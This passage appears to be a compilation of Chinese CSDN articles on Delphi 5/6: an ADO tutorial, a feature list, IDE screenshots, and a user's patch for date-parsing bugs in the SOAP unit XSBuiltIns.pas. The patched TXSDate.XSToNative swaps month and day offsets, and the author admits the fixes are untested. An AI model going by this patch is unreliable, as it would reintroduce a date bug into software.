MatchWildcards, MatchSoundsLike, MatchAllWordForms, Forward,
Wrap, Format, ReplaceWith, Replace );

end;

上面这4段代码完成了公文管理的基本功能，再把它和数据库结合起来，就可以开发一个与Lotus Notes类似的产品了。

孙立


CSDN_文档中心_Delphi 5 ADO

Delphi 5 ADO
ADO
Universal Data Access (UDA)是微软公司策畋一部分，提供了快速访问各种数据库的能力，UDA提供了一种不受限制的能力，通过易用的API接口访问各种数据源，当然，这需要与其兼容的驱动程序，类似Delphi的BDE，这项技术能在一个程序中从多样的数据源中轻易的访问到数据。UDA用MDAC来实现，而MDAC则包括Active Data Objects(ADO),Open Database Connectivity(ODBC)与OLE DB.
ADO是MDAC的应用程序设计接口，OLE DB则是系统级的接口，定义了一套COM接口，提供了从关联数据库及文件系统的数据访问能力，ODBC为了向后兼容也包含在MDAC中，但是在将来，他要被OLE DB所替代，现在对于ODBC，开发者通过ADO来使用ODBC驱动，尽管如此，OLE DB已经可用于Microsoft Access,Microsoft SQL以及Oracle.
ADO另外的一个重要的优势是将被内置在微软将的所有操作系统不，包括Windows 2000,这就意味着虽然现在为了使用ADO来访问数据库而不得不在每一台PC中安装ADO，而将来这种安装技术将消失。如果想进一步学习UDA及ADO，可以访问微软的数据访问主页http://www.microsoft.com/data/default.htm，从这个主页上，不但可以载到 ADOredistributable,用他可以在windows95/98/nt安装ADO，也能得到MDAC的SDK，包含了完整的文档以及需要开发自己的OLE DB 的所有工具，此外，SDK也包含ADO的发行版。
用ADO需要的每一件事，都被制作在Delphi 5的安装盘上，如果安装MDAC，进行MDAC目录，执行程序MDAC_TYP.EXE即可.由于安装程序仅为一个文件，所以安装MDAC也变得非常简单。如果自己开发的应用程序需要安装MDAC，则此安装程序还可作为自己开发应用的安装程序的一部分，为了去除它的安装提示信息，需要在自制安装程序时使用如下的命令行：mdac_typ.exe /q:a /c:"setup.exe /qt"
对于更多的安装MDAC的信息，象文件列表及依赖关系，可以看MDAC SDK文档。

使用ADOConnection 和 ADODataSet控件
D5提供了一套新的控件以支持ADO，并且能够轻易的转换现有的应用到ADO，要建立一个ADO应用，首先需要在form或data module中放一个ADOConnection控件，这与BDE 的Database 控件差不多，他允许通过ConnectionString属性定义与数据库的联接，如果想手工建立这个联接串可不是一件容易的事，这个串是由';'隔开的一系列参数，这些参数很容易就能超过150个字符，幸运是是，微软提供了一个联接串编辑器，使做起这件事来变得简单。为了打开这个编辑器，就可完成这项工作。爽的很。
在这个编辑器中，可以以两种方式之一来选择与数据源的建立，其一是用联接文件的方式，另一种则是建立联接串的形式，默认的情况下是使用联接串，选择build按钮，出现数据联接属性设置对话框，在provider页，可以选择使用的驱动程式，当确定使用的驱动程序后，可以选择下一步，确定具体要联接的数据库，需要注意的是，选择不同的驱动程序，在这一页需要确定的参数是不同的。当确定这里的各个参数后，可以用测试联接按钮来测试数据库是否可以联接，从而确定给定的联接参数是否正确。在这里，我们仅以Microsort Jet 4.0为例子，联接本地的一个Acess表。
现在，当完成联接串后，就可以设置Connected为True,使ADOConnection与数据库真正的联接。此时，可以放置ADODataset控件，实际上，只有ADODataset才是真正与数据一起工作的，通过ADODataset,可以直接与一个表进行联接，也可以执行SQL语句，还可以执行存储过程(哇，好利害)。使用ADODataset的第一步，就是设置Connection,确定其使用那一个ADOConnection,接下来，要处理两个有关联的属性：CommandType与CommandText,由于CommandText是由commandtype决定的，所以要先设置commandType,正是由他来决定DataSet怎样与数据库工作，用表，SQL还是存储过程。而后CommandText自然就容易设置，不用多说。当这两个参数确定下来，余下的工作就如同原来的使用BDE访问数据库的工作差不多，使用DataSource与ADODataSet联接，与就是用DBGrid等与DataSource联接，现在，利用ADO,可以访问到数据了！


CSDN_文档中心_Delphi 5 Enterprise版10大特点

  1. 支持XML标准，在Web上快速提交商业信息。

    Delphi简化了数据分布、优化了数据交换过程。对XML的支持，使开发人员快速构建的系统具有弹性和可扩展性，以适应Internet电子商务带来的新技术浪潮。

  2. 利用 InternetExpress构建高速Internet应用。

    Delphi 5使开发人员能够用DHTML和XML开发超“薄”（ultra-thin）客户端，并在Internet上快速分发标准Web特征的客户端应用程序。InternetExpress包括Web Client Page向导、MIDAS PageProducer和WebBroker，用于构建分布式DHTML和XML应用程序以适应众多客户端和大量数据的需要。

  3. 支持 ADO。

    利用Microsoft的ActiveX Data Object（ADO）和OLE DB技术，Delphi 5能够快速访问关系型和非关系型数据库，其中包括电子邮件和文件系统。开发人员可以对Internet信息进行直接访问，帮助用户更好地进行商业决策。

  4. TeamSource增强了整个开发队伍的工作效率。

    Delphi 5使整个开发团队能够更协调、更快速地工作。TeamSource革新了管理源代码的方法。TeamSource建立在已有的源代码管理和版本管理之上，并通过一个高效的工作流模式对其功能进行扩展，简化了大型、分散的开发团队的源代码管理。

  5. MIDAS扩展Internet应用。

    提交适应大交易量及多用户数的应用系统。建立Internet应用可以简化对Internet或Intranet上众多的浏览器客户端或Windows客户端的管理。MIDAS支持所有的分布式计算标准，如CORBA、COM和MTS，并能将原有系统与电子商务和Internet应用平滑地集成在一起。

  6. InterBase Express构建卓越的关键应用系统。

    Delphi 5使Delphi和InterBase更紧密地结合，即将高效率、高性能的开发工具与快速、低维护量和优化配置的中小型关系型数据库等技术融于一体。利用InterBase Express组件，VARs、Sls和ISVs能够快速地交付和分发高效的应用系统。

  7. Borland Translation Suite将Delphi 5应用程序快速地本地化。

    在可视化地开发不同地域的应用程序的同时，Delphi还可以管理资源文件的转换，并将转换信息保存在一个库（repository），加速了国际化开发。

  8. 利用 Delphi的专业IDE构建强大、坚固的应用程序。

    Delphi的可视化开发环境使开发人员只要在面板上选择相应组件就能够快速建立应用程序和开发原型。Delphi 5最新Project Browsing和Data Module view帮助程序员更好地理解代码和数据，从而大大提高开发效率。To Do List功能和新增开发向导，如Control panel Wizard，加快了程序编写速度。

  9. Visual Component Library增强面向对象开发的威力。

    开发人员可以创建、定制和重用自己的组件，也可以从Delphi的Visual Component Library中的200多个组件里选适用的组件择。用最新的Frames功能开发者能够可视化地为商业逻辑创建组件。开发人员能够开放地访问VCL源代码，包括新增的Decision Cube组件和附加的Property Editors，以及为支持MS Office而提供的最新Automation组件。Delphi基于组件技术大大简化了许多复杂的开发任务。

  10. 进一步增强的调试功能使复杂的项目更快地适应市场需求。

用Delphi 5对相当复杂的项目进行纠错和改错也会变得十分简单。Delphi进一步增强的调试功能使开发人员可以更好地理解和掌握程序代码，其中包括Breakpoint ToolTips、Actions、Groups、FPU/MMx View、以及对Drag和Drop的支持，等等。


CSDN_文档中心_Delphi 6 IDE的运行时抓图及简介

 Borland Developer Community Home
Community Home > Delphi

Delphi 6 Screen Shots: The IDE - by Anders Ohlsson

Abstract:Screen shots of the Delphi 6 IDE

Wanna see the Delphi 6 IDE?

Splash screen

Improved CodeInsight with colors and resizable window (persists of course).

Filters as you type.

The Object Inspector has nested properties. Check out the TDBGrid that links to a TDataSource that links to a TTable in this example.

The events are of course also nested the same way.

Lots of interesting details of the IDE in this CLX application.

This is a WebSnap demo that I worked on with Jim Tierney. It's a custome image adapter used to produce JPEG images for buttons. The state is controlled by using JavaScript events. The color, font, etc, can all be set in the IDE and any changes will be reflected on the Preview pane immediately.

Stay tuned for more...

Add or View comments on this article

Article ID: 27318 Publish Date: May 14, 2001 Last Modified: May 14, 2001


CSDN_文档中心_Delphi 6 SOAP 源码中的BUG修正

Delphi 6 SOAP 源码中的BUG修正

最近我正在用delphi 6 做一个关于SOAP的项目，调试程序的时候跟踪源码发现了delphi 6的源码中的一些bug :(

在 delphi/source/soap 目录下面的XSBuiltIns.pas 文件中，第438行如下：

procedure TXSDate.XSToNative(Value: WideString);
var
  TempDate: TDateTime;
begin
  FAdditionalYearDigits := Pos(XMLDateSeparator,Value) - (1 + XMLDefaultYearDigits);
  TempDate := StrToDate(XMLDateToStr(Value, FAdditionalYearDigits));  // 注意这行代码
  DecodeDate(TempDate, FYear, FMonth, FDay);
end;

其中调用了一个XMLDateToStr函数,下面是该函数的代码（在XSBuiltIns.pas 的241行）：

function XMLDateToStr(ADate: WideString; AddDigits: Word = 0): WideString;
begin
  Result := Copy(ADate, XMLMonthPos + AddDigits, 2) + DateSeparator +
            Copy(ADate, XMLDayPos + AddDigits, 2 ) +
            DateSeparator + Copy(ADate, XMLYearPos, XMLDefaultYearDigits + AddDigits);
end;

注意， XMLDateToStr返回的日期格式是 MM-DD-YYYY。例如如果传过去的参数Adate = '2001-12-08'，则XMLDateToStr('2001-12-08', 0)的结果是'12-08-2001'。XMLDateToStr的第二个参数AddDigits是多余的年代的位数，估计是用来解决千年虫问题的，对于标准的10位日期格式AddDigits始终是0。

现在问题来了，回到XSToNative的代码中，这行代码：

TempDate := StrToDate(XMLDateToStr(Value, FAdditionalYearDigits));

以函数XMLDateToStr的返回值作为参数调用了StrToDate这个函数， 函数StrToDate的作用是将字符串转化为日期，这个函数的参数应该是一个表示日期的字符串，但是日期的字符串格式必须符合当前平台的区域设置，比如我们常用的中文平台的短日期格式一般是 YYYY-MM-DD，而英文平台一般是 MM-DD-YYYY，所以如果在中文的平台上调用strToDate()来格式化一个格式为"MM-DD-YYYY"的字符串就会产生一个日期格式错误异常！！

下面是delphi的帮助中对StrToDate函数的解释的内容：

function StrToDate(const S: string): TDateTime;
Description
Call StrToDate to parse a string that specifies a date. If S does not contain a valid date,
StrToDate raises an EConvertError exception.S must consist of two or three numbers, separated by the character
defined by the DateSeparator global variable.
The order for month, day, and year is determined by the ShortDateFormat global variable--possible
combinations are m/d/y, d/m/y, and y/m/d.

过程DecodeDate(TempDate, FYear, FMonth, FDay);的最后一行代码

DecodeDate(TempDate, FYear, FMonth, FDay);

作用是将TempDate重新解析为FYear, FMonth, FDay三个域，其实可以直接从原来的字符串表示的日期中解析出这三个域，所以稍微修改一下就可以解决这个bug。

具体做法是：
将delphi/source/soap 目录下面的XSBuiltIns.pas 文件中的第433行开始的函数改为

procedure TXSDate.XSToNative(Value: WideString);
begin
  FAdditionalYearDigits := Pos(XMLDateSeparator,Value) - (1 + XMLDefaultYearDigits);
  try
    FYear := StrToInt(Copy(Value, XMLYearPos, XMLDefaultYearDigits + FAdditionalYearDigits));
    FMonth := StrToInt(Copy(Value, XMLDayPos + FAdditionalYearDigits, 2 ));
    FDay := StrToInt(Copy(Value, XMLMonthPos + FAdditionalYearDigits, 2));
  except
    raise EConvertError.CreateResFmt(@SInvalidDate, [Value]);
  end;
end;

在文件XSBuiltIns.pas的开头要加上

interface
uses SysUtils, InvokeRegistry, SysConst;  // 加上了 SysConst, 因为资源字符串SInvalidDate定义在SysConst.pas中

另外，还是在delphi/source/soap 目录下面的XSBuiltIns.pas 文件中，下面这个函数：

// get Small Int Using Digits in value, positive or negative.
function IntFromValue(Value: WideString; Digits: Integer): SmallInt; begin
  Result := 0;
  if Value[1] = '-' then
    Result := StrToInt(Value)
  else if Value <> '' then
    Result := StrToInt(Copy(Value, 1, Digits));
end;

很明显的bug呀！假如参数Value ＝ '' 那么执行到 if Value[1]='-' then .. 就出错了：( 事实上我的程序运行过程中就遇到这个情况，当SOAP通过XML传递过来的日期时间中没有包括时间的毫秒域的时候，就会遇到用一个''调用IntFromValue的情况。

修改以后的该函数应该如下所示：

// modified by starfish
function IntFromValue(Value: WideString; Digits: Integer): SmallInt;
begin
  if Value = '' then
    Result := 0
  else if Value[1] = '-' then
    Result := StrToInt(Value)
  else
    Result := StrToInt(Copy(Value, 1, Digits));
end;

另外还有

function TXSTime.GetAsTime: TDateTime;
function TXSDate.GetAsDate: TDateTime;
function TXSCustomDateTime.GetAsDateTime: TDateTime;

也都有我前面说到的那个日期时间的bug，写这段代码的程序员忘记了日期时间格式会随着不同的系统而不同。下面是我彻底修改过后的XSBuiltIns.pas文件，所有被修改的地方都加了注释。

注意：我不能保证我修改后的代码一定完全正确，但是我可以肯定它原来的代码中有很多bug!

下面修改后的XSBuiltIns.pas文件，将其放入 delpi/source/soap/ 目录下覆盖原来的文件并重新编译所有的SOAP项目即可。

{*******************************************************}
{                                                       }
{ Borland Delphi Visual Component Library               }
{                SOAP Support                           }
{                                                       }
{ Copyright (c) 2001 Borland Software Corporation       }
{                                                       }
{*******************************************************}
unit XSBuiltIns;
interface
// SysConst, DateUtils is added by starfish
uses SysUtils, InvokeRegistry, SysConst, DateUtils;
const
  SoapTimePrefix = 'T';
  XMLDateSeparator = '-';
  XMLHourOffsetMinusMarker = '-';
  XMLHourOffsetPlusMarker = '+';
  XMLTimeSeparator = ':';
  XMLMonthPos = 6;
  XMLDayPos = 9;
  XMLYearPos = 1;
  XMLMilSecPos = 10;
  XMLDefaultYearDigits = 4;
  XMLDurationStart = 'P';
  XMLDurationYear = 'Y';
  XMLDurationMonth = 'M';
  XMLDurationDay = 'D';
  XMLDurationHour = 'H';
  XMLDurationMinute = 'M';
  XMLDurationSecond = 'S';
resourcestring
  SInvalidHour = 'Invalid hour: %d';
  SInvalidMinute = 'Invalid minute: %d';
  SInvalidSecond = 'Invalid second: %d';
  SInvalidFractionSecond = 'Invalid second: %f';
  SInvalidMillisecond = 'Invalid millisecond: %d';
  SInvalidHourOffset = 'Invalid hour offset: %d';
  SInvalidDay = 'Invalid day: %d';
  SInvalidMonth = 'Invalid month: %d';
  SInvalidDuration = 'Invalid Duration String: %s';
type
{ forward declarations }
TXSDuration = class;
TXSTime = class;
TXSDate = class;
TXSDateTime = class;
{ TXSTime }
TXSTime = class(TRemotableXS)
  private
    FHour: Word;
    FMinute: Word;
    FSecond: Word;
    FMillisecond: Word;
    FHourOffset: SmallInt;
    FMinuteOffset: SmallInt;
    function BuildHourOffset: WideString;
  protected
    function GetAsTime: TDateTime;
    procedure SetAsTime(Value: TDateTime);
    procedure SetHour(const Value: Word);
    procedure SetMinute(const Value: Word);
    procedure SetSecond(const Value: Word);
    procedure SetMillisecond(const Value: Word);
    procedure SetHourOffset(const Value: SmallInt);
    procedure SetMinuteOffset(const Value: SmallInt);
  public
    function Clone: TXSTime;
    property Hour: Word read FHour write SetHour default 0;
    property Minute: Word read FMinute write SetMinute default 0;
    property Second: Word read FSecond write SetSecond default 0;
    property Millisecond: Word read FMillisecond write SetMillisecond default 0;
    property HourOffset: SmallInt read FHourOffset write SetHourOffset default 0;
    property MinuteOffset: SmallInt read FMinuteOffset write SetMinuteOffset;
    procedure XSToNative(Value: WideString); override;
    function NativeToXS: WideString; override;
    property AsTime: TDateTime read GetAsTime write SetAsTime;
end;
{ TXSDate }
TXSDate = class(TRemotableXS)
  private
    FAdditionalYearDigits: Word;
    FMonth: Word;
    FDay: Word;
    FYear: Word;
    FMaxDay: Word;
    FMaxMonth: Word;
    FMinDay: Word;
    FMinMonth: Word;
  protected
    function GetAsDate: TDateTime;
    procedure SetAsDate(Value: TDateTime);
    procedure SetMonth(const Value: Word);
    procedure SetDay(const Value: Word);
    procedure SetYear(const Value: Word);
    property MaxDay: Word read FMaxDay write FMaxDay;
    property MaxMonth: Word read FMaxMonth write FMaxMonth;
    property MinDay: Word read FMinDay write FMinDay;
    property MinMonth: Word read FMinMonth write FMinMonth;
  public
    constructor Create; override;
    property Month: Word read FMonth write SetMonth default 0;
    property Day: Word read FDay write SetDay default 0;
    property Year: Word read FYear write SetYear default 0;
    function Clone: TXSDate;
    procedure XSToNative(Value: WideString); override;
    function NativeToXS: WideString; override;
    property AsDate: TDateTime read GetAsDate write SetAsDate;
end;
{ TXSCustomDateTime }
TXSCustomDateTime = class(TRemotableXS)
  private
    FDateParam: TXSDate;
    FTimeParam: TXSTime;
  protected
    function GetAsDateTime: TDateTime;
    function GetHour: Word;
    function GetMinute: Word;
    function GetSecond: Word;
    function GetMonth: Word;
    function GetDay: Word;
    function GetYear: Word;
    function GetMillisecond: Word;
    function GetHourOffset: SmallInt;
    function GetMinuteOffset: SmallInt;
    procedure SetAsDateTime(Value: TDateTime);
    procedure SetHour(const Value: Word); virtual;
    procedure SetMinute(const Value: Word); virtual;
    procedure SetSecond(const Value: Word); virtual;
    procedure SetMillisecond(const Value: Word); virtual;
    procedure SetHourOffset(const Value: SmallInt); virtual;
    procedure SetMinuteOffset(const Value: SmallInt); virtual;
    procedure SetMonth(const Value: Word); virtual;
    procedure SetDay(const Value: Word); virtual;
    procedure SetYear(const Value: Word); virtual;
  public
    constructor Create;  override;
    destructor Destroy; override;
    property AsDateTime: TDateTime read GetAsDateTime write SetAsDateTime;
    property Hour: Word read GetHour write SetHour default 0;
    property Minute: Word read GetMinute write SetMinute default 0;
    property Second: Word read GetSecond write SetSecond default 0;
    // the following line is added by starfish
    property Millisecond: Word read GetMillisecond write SetMillisecond default 0;
    property Month: Word read GetMonth write SetMonth default 0;
    property Day: Word read GetDay write SetDay default 0;
    property Year: Word read GetYear write SetYear default 0;
end;
{ TXSDateTime }
TXSDateTime = class(TXSCustomDateTime)
  private
    function ValidValue(Value, Subtract, Min, Max: Integer; var Remainder: Integer): Integer;
  public
    function CompareDateTimeParam(const Value1, Value2: TXSDateTime): TXSDuration;
  public
    function Clone: TXSDateTime;
    property Millisecond: Word read GetMillisecond write SetMillisecond default 0;
    property HourOffset: SmallInt read GetHourOffset write SetHourOffset default 0;
    property MinuteOffset: SmallInt read GetMinuteOffset write SetMinuteOffset default 0;
    procedure XSToNative(Value: WideString); override;
    function NativeToXS: WideString; override;
end;
TXSDuration = class(TXSCustomDateTime)
  private
    FDecimalSecond: Double;
    function GetDecimalValue(const AParam: String; const AType: string): Double;
    function GetIntegerValue(const AParam: String; const AType: string): Integer;
    function GetNumericString(const AParam: string; const AType: String;
             const Decimals: Boolean = False): WideString;
  protected
    procedure SetDecimalSecond(const Value: Double);
  public
    constructor Create; override;
    procedure XSToNative(Value: WideString); override;
    function NativeToXS: WideString; override;
    property DecimalSecond: Double read FDecimalSecond write SetDecimalSecond;
end;
EXSDateTimeException = class(Exception);
{ Utility function }
function DateTimeToXSDateTime(Value: TDateTime; CalcLocalBias: Boolean = False): TXSDateTime;
implementation
uses SoapConst, Windows;
{ exception routines }
procedure SoapDateTimeError(const Message: string); local;
begin
  raise EXSDateTimeException.Create(Message);
end;
procedure SoapDateTimeErrorFmt(const Message: string; const Args: array of const); local;
begin
  SoapDateTimeError(Format(Message,Args));
end;
{ Utility functions }
procedure AddUTCBias(var DateTime: TXSDateTime);
var
  Info: TTimeZoneInformation;
  Status: DWORD;
begin
  Status := GetTimeZoneInformation(Info);
  if (Status = TIME_ZONE_ID_UNKNOWN) or (Status = TIME_ZONE_ID_INVALID) then
    SoapDateTimeError(SInvalidTimeZone);
  DateTime.HourOffset := Info.Bias div 60;
  DateTime.MinuteOffset := Info.Bias - (DateTime.HourOffset * 60);
end;
function DateTimeToXSDateTime(Value: TDateTime; CalcLocalBias: Boolean = False): TXSDateTime;
begin
  Result := TXSDateTime.Create;
  Result.AsDateTime := Value;
  if CalcLocalBias then
    AddUTCBias(Result);
end;
procedure ParseXMLDate(ADate: WideString; var Year, Month, Day: Word);
begin
  Year := StrToInt(Copy(ADate, XMLYearPos, 4));
  Month := StrToInt(Copy(ADate, XMLMonthPos, 2));
  Day := StrToInt(Copy(ADate, XMLDayPos, 2));
end;
function XMLDateToStr(ADate: WideString; AddDigits: Word = 0): WideString;
begin
  Result := Copy(ADate, XMLMonthPos + AddDigits, 2) + DateSeparator +
            Copy(ADate, XMLDayPos + AddDigits, 2 ) +
            DateSeparator + Copy(ADate, XMLYearPos, XMLDefaultYearDigits + AddDigits);
end;
{ the following code has a bug, modified by starfish
// get Small Int Using Digits in value, positive or negative. function IntFromValue(Value: WideString; Digits: Integer): SmallInt; begin
  Result := 0;
  if Value[1] = '-' then
    Result := StrToInt(Value)
  else if Value <> '' then
    Result := StrToInt(Copy(Value, 1, Digits));
end;
}
// modified by starfish
function IntFromValue(Value: WideString; Digits: Integer): SmallInt;
begin
  if Value = '' then
    Result := 0
  else if Value[1] = '-' then
    Result := StrToInt(Value)
  else
    Result := StrToInt(Copy(Value, 1, Digits));
end;
{ TXSTime }
function TXSTime.Clone: TXSTime;
begin
  Result := TXSTime.Create;
  Result.Hour := Hour;
  Result.Minute := Minute;
  Result.Second := Second;
  Result.MilliSecond := MilliSecond;
  Result.HourOffset := HourOffset;
  Result.MinuteOffset := MinuteOffset;
end;
procedure TXSTime.SetHour(const Value: Word);
begin
  if Value < HoursPerDay then
    FHour := Value
  else
    SoapDateTimeErrorFmt(SInvalidHour, [Value]);
end;
procedure TXSTime.SetMinute(const Value: Word);
begin
  if Value < 60 then
    FMinute := Value
  else
    SoapDateTimeErrorFmt(SInvalidMinute, [Value]);
end;
procedure TXSTime.SetSecond(const Value: Word);
begin
  if Value < 60 then
    FSecond := Value
  else
    SoapDateTimeErrorFmt(SInvalidSecond, [Value]);
end;
procedure TXSTime.SetMillisecond(const Value: Word);
begin
  if Value < 1000 then
    FMillisecond := Value
  else
    SoapDateTimeErrorFmt(SInvalidMillisecond, [Value]);
end;
procedure TXSTime.SetHourOffset(const Value: SmallInt);
begin
  if Abs(Value) <= (HoursPerDay div 2) then
    FHourOffset := Value
  else
    SoapDateTimeErrorFmt(SInvalidHourOffset, [Value]);
end;
procedure TXSTime.SetMinuteOffset(const Value: SmallInt);
begin
  if Abs(Value) < 60 then
    FMinuteOffset := Value
  else
    SoapDateTimeErrorFmt(SInvalidMinute, [Value]);
end;
procedure TXSTime.XSToNative(Value: WideString);
var
  TempValue: WideString;
  TempTime: TDateTime;
  HourOffsetPos: Integer;
begin
  TempValue := StringReplace(Copy(Value, 1, 8), XMLTimeSeparator, TimeSeparator, []);
  TempTime := StrToTime(TempValue);
  DecodeTime(TempTime, FHour, FMinute, FSecond, FMillisecond);
  TempValue := Copy(Value, XMLMilSecPos, 3);
  Millisecond := IntFromValue(TempValue, 3);
  HourOffsetPos := Pos(XMLHourOffsetMinusMarker, Value);
  if HourOffsetPos = 0 then
    HourOffsetPos := Pos(XMLHourOffsetPlusMarker, Value);
  if HourOffsetPos > 0 then
  begin
    TempValue := Copy(Value, HourOffsetPos + 1, 2);
    HourOffset := IntFromValue(TempValue, 2);
    TempValue := Copy(Value, HourOffsetPos + 4, 2);
    if TempValue <> '' then
      MinuteOffSet := IntFromValue(TempValue,2);
  end;
end;
function TXSTime.BuildHourOffset: WideString;
var
  Marker: String;
begin
  if Abs(HourOffset) + MinuteOffset <> 0 then
  begin
    if HourOffset > 0 then
      Marker := XMLHourOffsetPlusMarker
    else
      Marker := XMLHourOffsetMinusMarker;
    Result := IntToStr(Abs(HourOffset));
    if Abs(HourOffset) < 10 then
      Result := '0' + Result;
    if Abs(MinuteOffSet) > 9 then
      Result := Result + XMLTimeSeparator + IntToStr(Abs(MinuteOffset))
    else if Abs(MinuteOffSet) > 0 then
      Result := Result + XMLTimeSeparator + '0' + IntToStr(Abs(MinuteOffset))
    else
      Result := Result + XMLTimeSeparator + '00';
    Result := Marker + Result;
  end;
end;
function TXSTime.NativeToXS: WideString;
var
  TempTime: TDateTime;
  FormatString: string;
begin
  if Hour + Minute + Second = 0 then exit;
  TempTime := EncodeTime(Hour, Minute, Second, Millisecond);   // exception thrown if invalid
  FormatString := Format('hh%snn%sss.zzz', [XMLTimeSeparator, XMLTimeSeparator]);
  Result := FormatDateTime(FormatString, TempTime) + BuildHourOffset;
end;
procedure TXSTime.SetAsTime(Value: TDateTime);
begin
  DecodeTime(Value, FHour, FMinute, FSecond, FMillisecond);
end;
{ the following function has a bug! rewrite by starfish
function TXSTime.GetAsTime: TDateTime;
var
  TimeString: string;
  Colon: string;
begin
  Colon := TimeSeparator;
  TimeString := IntToStr(Hour) + Colon + IntToStr(Minute) + Colon +
                IntToStr(Second);
  Result := StrToTime(TimeString);
end;
}
function TXSTime.GetAsTime: TDateTime;
begin
  Result := EncodeTime(Hour, Minute, Second, Millisecond);
end;

{ TXSDate }

constructor TXSDate.Create;
begin
  inherited Create;
  FMaxMonth := 12;
  FMinMonth := 1;
  FMaxDay := 31;
  FMinDay := 1;
end;

function TXSDate.Clone: TXSDate;
begin
  Result := TXSDate.Create;
  Result.Day := Day;
  Result.Month := Month;
  Result.Year := Year;
end;
procedure TXSDate.SetMonth(const Value: Word);
begin
  if (Value <= FMaxMonth) and (Value >= FMinMonth) then
    FMonth := Value
  else
    SoapDateTimeErrorFmt(SInvalidMonth, [Value]);
end;
procedure TXSDate.SetDay(const Value: Word);
begin
  if (Value <= FMaxDay) and (Value >= FMinDay) then   // perform more complete check when all values set
    FDay := Value
  else
    SoapDateTimeErrorFmt(SInvalidDay, [Value]);
end;
procedure TXSDate.SetYear(const Value: Word);
begin
  FYear := Value
end;
// the following code has a bug! rewrite by starfish
{
procedure TXSDate.XSToNative(Value: WideString);
 var
  TempDate: TDateTime;
begin
  FAdditionalYearDigits := Pos(XMLDateSeparator,Value) - (1 + XMLDefaultYearDigits);
  TempDate := StrToDate(XMLDateToStr(Value, FAdditionalYearDigits));
  DecodeDate(TempDate, FYear, FMonth, FDay);
end;
}
procedure TXSDate.XSToNative(Value: WideString);
begin
  FAdditionalYearDigits := Pos(XMLDateSeparator,Value) - (1 + XMLDefaultYearDigits);
  try
    FYear := StrToInt(Copy(Value, XMLYearPos, XMLDefaultYearDigits + FAdditionalYearDigits));
    FMonth := StrToInt(Copy(Value, XMLDayPos + FAdditionalYearDigits, 2 ));
    FDay := StrToInt(Copy(Value, XMLMonthPos + FAdditionalYearDigits, 2));
  except
    raise EConvertError.CreateResFmt(@SInvalidDate, [Value]);
  end;
end;
function TXSDate.NativeToXS: WideString;
var
  TempDate: TDateTime;
  FormatString: string;
begin
  if Year + Month + Day = 0 then exit;
  TempDate := EncodeDate(Year, Month, Day);   // exception thrown if invalid
  FormatString := Format('yyyy%smm%sdd', [XMLDateSeparator, XMLDateSeparator]);
  Result := FormatDateTime(FormatString, TempDate);
end;
{ the following code has a bug! rewrite by starfish
function TXSDate.GetAsDate: TDateTime;
var
  DateString: string;
  Slash: string;
begin
  Slash := DateSeparator;
  DateString := IntToStr(Month) + Slash + IntToStr(Day) + Slash + IntToStr(Year);
  Result := StrToDate(DateString);
end;
}
function TXSDate.GetAsDate: TDateTime;
begin
  Result := EncodeDate(Year, Month, Day);
end;
procedure TXSDate.SetAsDate(Value: TDateTime);
begin
  DecodeDate(Value, FYear, FMonth, FDay);
end;
{ TXSCustomDateTime }
constructor TXSCustomDateTime.Create;
begin
  Inherited Create;
  FDateParam := TXSDate.Create;
  FTimeParam := TXSTime.Create;
end;
destructor TXSCustomDateTime.Destroy;
begin
  FDateParam.Free;
  FTimeParam.Free;
  inherited Destroy;
end;
function TXSCustomDateTime.GetHour: Word;
begin
  Result := FTimeParam.Hour;
end;
function TXSCustomDateTime.GetMinute: Word;
begin
  Result := FTimeParam.Minute;
end;
function TXSCustomDateTime.GetSecond: Word;
begin
  Result := FTimeParam.Second;
end;
function TXSCustomDateTime.GetMilliSecond: Word;
begin
  Result := FTimeParam.MilliSecond;
end;
function TXSCustomDateTime.GetHourOffset: SmallInt;
begin
  Result := FTimeParam.HourOffset;
end;
function TXSCustomDateTime.GetMinuteOffset: SmallInt;
begin
  Result := FTimeParam.MinuteOffset;
end;
function TXSCustomDateTime.GetMonth: Word;
begin
  Result := FDateParam.Month;
end;
function TXSCustomDateTime.GetDay: Word;
begin
  Result := FDateParam.Day;
end;
function TXSCustomDateTime.GetYear: Word;
begin
  Result := FDateParam.Year;
end;
procedure TXSCustomDateTime.SetHour(const Value: Word);
begin
  FTimeParam.SetHour(Value);
end;
procedure TXSCustomDateTime.SetMinute(const Value: Word);
begin
  FTimeParam.SetMinute(Value);
end;
procedure TXSCustomDateTime.SetSecond(const Value: Word);
begin
  FTimeParam.SetSecond(Value);
end;
procedure TXSCustomDateTime.SetMillisecond(const Value: Word);
begin
  FTimeParam.SetMillisecond(Value);
end;
procedure TXSCustomDateTime.SetHourOffset(const Value: SmallInt);
begin
  FTimeParam.SetHourOffset(Value);
end;
procedure TXSCustomDateTime.SetMinuteOffset(const Value: SmallInt);
begin
  FTimeParam.SetMinuteOffset(Value);
end;
procedure TXSCustomDateTime.SetMonth(const Value: Word);
begin
  FDateParam.SetMonth(Value);
end;
procedure TXSCustomDateTime.SetDay(const Value: Word);
begin
  FDateParam.SetDay(Value);
end;
procedure TXSCustomDateTime.SetYear(const Value: Word);
begin
  FDateParam.SetYear(Value);
end;
procedure TXSCustomDateTime.SetAsDateTime(Value: TDateTime);
begin
  FDateParam.AsDate := Value;
  FTimeParam.AsTime := Value;
end;
{  the following code has a bug, modified by starfish
function TXSCustomDateTime.GetAsDateTime: TDateTime;
var
  DateString: string;
  Slash: string;
  Colon: string;
begin
  Slash := DateSeparator;
  Colon := TimeSeparator;
  DateString := IntToStr(Month) + Slash + IntToStr(Day) + Slash + IntToStr(Year)
                + ' ' + IntToStr(Hour) + Colon + IntToStr(Minute) + Colon +
                IntToStr(Second);
  Result := StrToDateTime(DateString);
end;
}
function TXSCustomDateTime.GetAsDateTime: TDateTime;
begin
  Result := EncodeDateTime(Year, Month, Day, Hour, Minute, Second, Millisecond);
end;
{ TXSDateTime }
function TXSDateTime.Clone: TXSDateTime;
begin
  Result := TXSDateTime.Create;
  Result.FDateParam.Day := Day;
  Result.FDateParam.Month := Month;
  Result.FDateParam.Year := Year;
  Result.FTimeParam.Hour := Hour;
  Result.FTimeParam.Minute := Minute;
  Result.FTimeParam.Second := Second;
  Result.FTimeParam.MilliSecond := MilliSecond;
  Result.FTimeParam.HourOffset := HourOffset;
  Result.FTimeParam.MinuteOffset := MinuteOffset;
end;
procedure TXSDateTime.XSToNative(Value: WideString);
var
  TimeString, DateString: WideString;
  TimePosition: Integer;
begin
  TimePosition := Pos(SoapTimePrefix, Value);
  if TimePosition > 0 then
  begin
    DateString := Copy(Value, 1, TimePosition -1);
